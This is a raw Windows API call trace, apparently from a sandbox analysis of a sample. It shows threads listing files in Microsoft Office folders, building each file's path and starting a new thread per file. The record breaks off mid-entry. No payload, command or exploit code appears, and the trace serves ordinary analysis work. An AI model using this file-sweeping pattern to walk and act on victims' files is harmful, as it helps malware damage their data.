[0152.429] wcscat (in: _Dest=0x4205dc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0152.429] wcscat (in: _Dest=0x4205dc30, _Source="TITLE.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\TITLE.XSL" [0152.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205dc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160 [0152.430] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0152.430] wcscmp (_String1="YEAR.XSL", _String2=".") returned 1 [0152.430] wcscmp (_String1="YEAR.XSL", _String2="..") returned 1 [0152.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205d370 [0152.430] wcscpy (in: _Dest=0x4205d370, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" [0152.430] wcscat (in: _Dest=0x4205d370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0152.430] wcscat (in: _Dest=0x4205d370, _Source="YEAR.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" [0152.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205d370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0152.431] FindNextFileW (in: hFindFile=0x1cd9c190, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0152.431] FindClose (in: hFindFile=0x1cd9c190 | out: hFindFile=0x1cd9c190) returned 1 [0152.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce578e0) returned 1 [0152.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af730) returned 1 [0152.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4530) returned 1 Thread: id = 860 os_tid = 0x1418 [0101.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af7c0 [0101.029] wcscpy (in: _Dest=0x202af7c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0101.030] wcscat (in: _Dest=0x202af7c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0101.030] wcscat (in: _Dest=0x202af7c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*" [0101.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0101.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c0d0 [0101.806] wcscmp (_String1=".", _String2=".") returned 0 [0101.806] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.806] wcscmp (_String1="..", _String2=".") returned 1 [0101.806] wcscmp (_String1="..", _String2="..") returned 0 [0101.807] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0101.807] wcscmp (_String1="APA.XSL", _String2=".") returned 1 [0101.807] wcscmp (_String1="APA.XSL", _String2="..") returned 1 [0101.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1a50 [0101.807] wcscpy (in: _Dest=0x202b1a50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0101.807] wcscat (in: _Dest=0x202b1a50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0101.807] wcscat (in: _Dest=0x202b1a50, _Source="APA.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" [0120.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4 [0120.357] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a63000, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24a63000, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x5282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0120.357] wcscmp (_String1="CHICAGO.XSL", _String2=".") returned 1 [0120.357] wcscmp (_String1="CHICAGO.XSL", _String2="..") returned 1 [0120.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7ae2e0 [0120.358] wcscpy (in: _Dest=0x1b7ae2e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.358] wcscat (in: _Dest=0x1b7ae2e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.358] wcscat (in: _Dest=0x1b7ae2e0, _Source="CHICAGO.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" [0120.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0 [0120.359] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ddce00, ftCreationTime.dwHighDateTime=0x1c93006, ftLastAccessTime.dwLowDateTime=0x619f9510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25ddce00, ftLastWriteTime.dwHighDateTime=0x1c93006, nFileSizeHigh=0x0, nFileSizeLow=0x40188, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0120.359] wcscmp (_String1="GB.XSL", _String2=".") returned 1 [0120.359] wcscmp (_String1="GB.XSL", _String2="..") returned 1 [0120.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ae380 [0120.359] wcscpy (in: _Dest=0x1b7ae380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.359] wcscat (in: _Dest=0x1b7ae380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.359] wcscat (in: _Dest=0x1b7ae380, _Source="GB.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" [0120.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12bc [0120.360] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44d2300, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe44d2300, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3cd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0120.360] wcscmp (_String1="GostName.XSL", _String2=".") returned 1 [0120.360] wcscmp (_String1="GostName.XSL", _String2="..") returned 1 [0120.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ae1a0 [0120.360] wcscpy (in: _Dest=0x1b7ae1a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.360] wcscat (in: _Dest=0x1b7ae1a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.360] wcscat (in: _Dest=0x1b7ae1a0, _Source="GostName.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" [0120.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae1a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b8 [0120.361] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828cb900, ftCreationTime.dwHighDateTime=0x1c93005, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x828cb900, ftLastWriteTime.dwHighDateTime=0x1c93005, nFileSizeHigh=0x0, nFileSizeLow=0x3b9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0120.361] wcscmp (_String1="GostTitle.XSL", _String2=".") returned 1 [0120.361] wcscmp (_String1="GostTitle.XSL", _String2="..") returned 1 [0120.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ae100 [0120.361] wcscpy (in: _Dest=0x1b7ae100, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.361] wcscat (in: _Dest=0x1b7ae100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.361] wcscat (in: _Dest=0x1b7ae100, _Source="GostTitle.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" [0120.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ae100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b4 [0120.362] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbd7dc00, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbd7dc00, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x4033d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0120.362] wcscmp (_String1="ISO690.XSL", _String2=".") returned 1 [0120.362] wcscmp (_String1="ISO690.XSL", _String2="..") returned 1 [0120.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c0b0 [0120.362] wcscpy (in: _Dest=0x4205c0b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.362] wcscat (in: _Dest=0x4205c0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.362] wcscat (in: _Dest=0x4205c0b0, _Source="ISO690.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" [0120.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b0 [0120.363] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a982900, ftCreationTime.dwHighDateTime=0x1c93004, ftLastAccessTime.dwLowDateTime=0x56263450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a982900, ftLastWriteTime.dwHighDateTime=0x1c93004, nFileSizeHigh=0x0, nFileSizeLow=0x3ee6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0120.363] wcscmp (_String1="ISO690Nmerical.XSL", _String2=".") returned 1 [0120.363] wcscmp (_String1="ISO690Nmerical.XSL", _String2="..") returned 1 [0120.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ac160 [0120.363] wcscpy (in: _Dest=0x202ac160, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.364] wcscat (in: _Dest=0x202ac160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.364] wcscat (in: _Dest=0x202ac160, _Source="ISO690Nmerical.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" [0120.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ac [0120.364] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2f9800, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e2f9800, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x49051, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLA.XSL", cAlternateFileName="")) returned 1 [0120.365] wcscmp (_String1="MLA.XSL", _String2=".") returned 1 [0120.365] wcscmp (_String1="MLA.XSL", _String2="..") returned 1 [0120.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c1f0 [0120.365] wcscpy (in: _Dest=0x4205c1f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.365] wcscat (in: _Dest=0x4205c1f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.365] wcscat (in: _Dest=0x4205c1f0, _Source="MLA.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL" [0120.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a8 [0120.366] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb63100, ftCreationTime.dwHighDateTime=0x1c6da3c, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2fb63100, ftLastWriteTime.dwHighDateTime=0x1c6da3c, nFileSizeHigh=0x0, nFileSizeLow=0x3bd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0120.366] wcscmp (_String1="SIST02.XSL", _String2=".") returned 1 [0120.366] wcscmp (_String1="SIST02.XSL", _String2="..") returned 1 [0120.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c150 [0120.366] wcscpy (in: _Dest=0x4205c150, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.366] wcscat (in: _Dest=0x4205c150, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.366] wcscat (in: _Dest=0x4205c150, _Source="SIST02.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" [0120.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4 [0120.367] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0120.367] wcscmp (_String1="TURABIAN.XSL", _String2=".") returned 1 [0120.367] wcscmp (_String1="TURABIAN.XSL", _String2="..") returned 1 [0120.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205db90 [0120.367] wcscpy (in: _Dest=0x4205db90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" [0120.367] wcscat (in: _Dest=0x4205db90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0120.367] wcscat (in: _Dest=0x4205db90, _Source="TURABIAN.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" [0120.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205db90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0 [0120.369] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3556a600, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3556a600, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x52a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0120.369] FindClose (in: hFindFile=0x1cd9c0d0 | out: hFindFile=0x1cd9c0d0) returned 1 [0120.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0120.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af7c0) returned 1 [0120.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a45c0) returned 1 Thread: id = 861 os_tid = 0x141c [0101.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af850 [0101.031] wcscpy (in: _Dest=0x202af850, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" [0101.031] wcscat (in: _Dest=0x202af850, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\" [0101.031] wcscat (in: _Dest=0x202af850, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*" [0101.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce562f0 [0101.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d030 [0102.468] wcscmp (_String1=".", _String2=".") returned 0 [0102.468] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.469] wcscmp (_String1="..", _String2=".") returned 1 [0102.469] wcscmp (_String1="..", _String2="..") returned 0 [0102.469] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 